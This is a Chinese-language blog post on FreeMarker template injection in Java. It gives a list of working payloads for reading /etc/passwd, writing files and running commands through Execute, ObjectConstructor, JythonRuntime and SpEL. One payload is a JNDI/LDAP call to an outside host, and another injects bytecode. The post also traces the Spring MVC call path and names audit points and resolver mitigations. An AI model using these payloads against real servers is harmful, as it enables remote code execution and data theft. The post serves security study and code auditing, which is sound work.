Java安全之freemaker模版注入
freemaker简介
FreeMarker 是一款模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 在线手册: 什么是 FreeMarker? - FreeMarker 中文官方参考手册

模板文件存放在Web服务器上,当访问指定模版文件时, FreeMarker会动态转换模板,用最新的数据内容替换模板中
${...}
的部分,然后返回渲染结果。
freemaker中的一些概念:
${...}: FreeMarker将会输出真实的值来替换大括号内的表达式,这样的表达式被称为 interpolation (插值)- FTL 标签(FreeMarker模板的语言标签): FTL标签和HTML标签有一些相似之处,但是它们是FreeMarker的指令,是不会在输出中打印的。 这些标签的名字以
#开头。(用户自定义的FTL标签则需要使用@来代替#,但这属于更高级的话题了。) - 注释:注释和HTML的注释也很相似, 但是它们使用
<#--and-->来标识。 不像HTML注释那样,FTL注释不会出现在输出中(不出现在访问者的页面中), 因为 FreeMarker会跳过它们。
其他任何不是FTL标签,插值或注释的内容将被视为静态文本, 这些东西不会被FreeMarker所解析;会被按照原样输出出来。
freemaker中的一些指令: 模板一览 - FreeMarker 中文官方参考手册
一般漏洞常位于后台可以编辑模版的地方,通过插入恶意的ftl指令到ftl文件中,当后端再次return或者process时即可触发代码执行。
主要代码
Configuration cfg = new Configuration();
cfg.setAPIBuiltinEnabled(true); // 开启api
StringTemplateLoader stringLoader = new StringTemplateLoader();
stringLoader.putTemplate("myTemplate",templateContent);
cfg.setTemplateLoader(stringLoader);
Template template = cfg.getTemplate("myTemplate","utf-8");
Map root = new HashMap();
root.put("data",data);
StringWriter writer = new StringWriter();
template.process(root,writer); //*
return writer.toString();
利用方式
api
这些内建函数从 FreeMarker 2.3.22 版本开始存在。
通过它可以访问底层Java Api Freemarker的
BeanWrappers
。这个内置函数默认不开启,但通过 Configurable.setAPIBuiltinEnabled 可以开启它。
如果value本身支持这个额外的特性,
value?api
提供访问
value
的
API
(通常是
Java API
),比如
value?api.someJavaMethod()
, 当需要调用对象的Java方法时。

poc
<#assign classLoader=object?api.class.protectionDomain.classLoader>
eg1:// 未测试成功
<#assign classLoader=object?api.class.getClassLoader()>
${classLoader.loadClass("our.desired.class")}
eg2: 任意文件读
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
eg3:
<#assign is=object?api.class.getResourceAsStream("/etc/passwd")>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
eg4:
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
eg5:获取classLoader
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("calc")}
New
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>//@value为自定义标签
针对
new
的利用方式,官方提供的一种限制方式——使用
Configuration.setNewBuiltinClassResolver(TemplateClassResolver)
或设置
new_builtin_class_resolver
来限制这个内建函数对类的访问。此处官方提供了三个预定义的解析器(从 2.3.17版开始)。:
- UNRESTRICTED_RESOLVER :简单地调用
ClassUtil.forName(String)。 - SAFER_RESOLVER :和第一个类似,但禁止解析
ObjectConstructor,Execute和freemarker.template.utility.JythonRuntime。 - ALLOWS_NOTHING_RESOLVER :禁止解析任何类。
写文件
${"freemarker.template.utility.ObjectConstructor"?new()("java.io.FileWriter","/tmp/hh.txt").append("<>").close()}
SpEL
// 命令执行
${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc\")").getValue()}
// JNDI
${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("new+javax.management.remote.rmi.RMIConnector(new+javax.management.remote.JMXServiceURL(\"service:jmx:rmi:///jndi/ldap://172.16.4.1:1389/Basic/Command\"),new+java.util.Hashtable()).connect()").getValue()}
// 加载字节码
${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("T(org.springframework.cglib.core.ReflectUtils).defineClass('SpringInterceptor',T(org.springframework.util.Base64Utils).decodeFromString(\"yv66vgAAADQA5。。。\"),new+javax.management.loading.MLet(new+java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()").getValue()}
分析


先会通过
StringTemplateLoader#putTemplate
将我们输入的模版
hello.ftl
存放在
StringTemplateLoader
类中
templates
属性
@RequestMapping(value = "/template", method = RequestMethod.POST)
public String template(@RequestBody Map<String,String> templates) throws IOException {
StringTemplateLoader stringLoader = new StringTemplateLoader();
for(String templateKey : templates.keySet()){
stringLoader.putTemplate(templateKey, templates.get(templateKey));
}
con.setTemplateLoader(new MultiTemplateLoader(new TemplateLoader[]{stringLoader,
con.getTemplateLoader()}));
con.setAPIBuiltinEnabled(true);
return "index";
}

之后将上面加载恶意模版的
StringTemplateLoader
通过
Configuration#setTemplateLoader
添加到cache中

之后通过
return hello
会去调用我们添加的恶意模版(当然这里是demo代码,)

后面部分依然走的SpringMVC工作流程,return modelandview的时候SpringMVC会去找对应的视图解析器来解析渲染模版并返回视图到前端
堆栈如下:
doRender:285, FreeMarkerView (org.springframework.web.servlet.view.freemarker)
renderMergedTemplateModel:235, FreeMarkerView (org.springframework.web.servlet.view.freemarker)
renderMergedOutputModel:167, AbstractTemplateView (org.springframework.web.servlet.view)
render:303, AbstractView (org.springframework.web.servlet.view)
render:1286, DispatcherServlet (org.springframework.web.servlet)
processDispatchResult:1041, DispatcherServlet (org.springframework.web.servlet)
doDispatch:984, DispatcherServlet (org.springframework.web.servlet)
doService:901, DispatcherServlet (org.springframework.web.servlet)
processRequest:970, FrameworkServlet (org.springframework.web.servlet)
doPost:872, FrameworkServlet (org.springframework.web.servlet)
service:661, HttpServlet (javax.servlet.http)
service:846, FrameworkServlet (org.springframework.web.servlet)
service:742, HttpServlet (javax.servlet.http)
这里直接跟到freemaker里面看freemaker的处理,跟进
FreeMarkerView#doRender
方法

这里首先通过
gettemplate()
获取到我们之前构造的恶意模版

protected void processTemplate(Template template, SimpleHash model, HttpServletResponse response) throws IOException, TemplateException {
template.process(model, response.getWriter());
}
之后在
processTemplate
调用
Template#process
,通过visit方法解析ftl指令触发代码执行

在
freemarker.template.utility.Execute#exec()
下断点看下调用,在
visit
之后主要是通过
_eval
来执行的ftl指令

_eval
是抽象方法,对应的实现有很多,而
freemarker.template.utility.Execute
对应的是
MethodCall
中的实现

调用targetMethod中的exec方法

命令执行

最近遇到的freemaker比较多,这次主要是多了解一下freemaker的利用和审计时需要注意的点,主要是注意有没有freemaker的特征或者ftl
审计时就需要看编辑模版的地方有没有
StringTemplateLoader#putTemplate
并
return
此模版或者
Template#process
去解析的,大概里就会存在freemaker的模版注入。
版权归原作者 油腻的程序猿啊 所有, 如有侵权,请联系我们删除。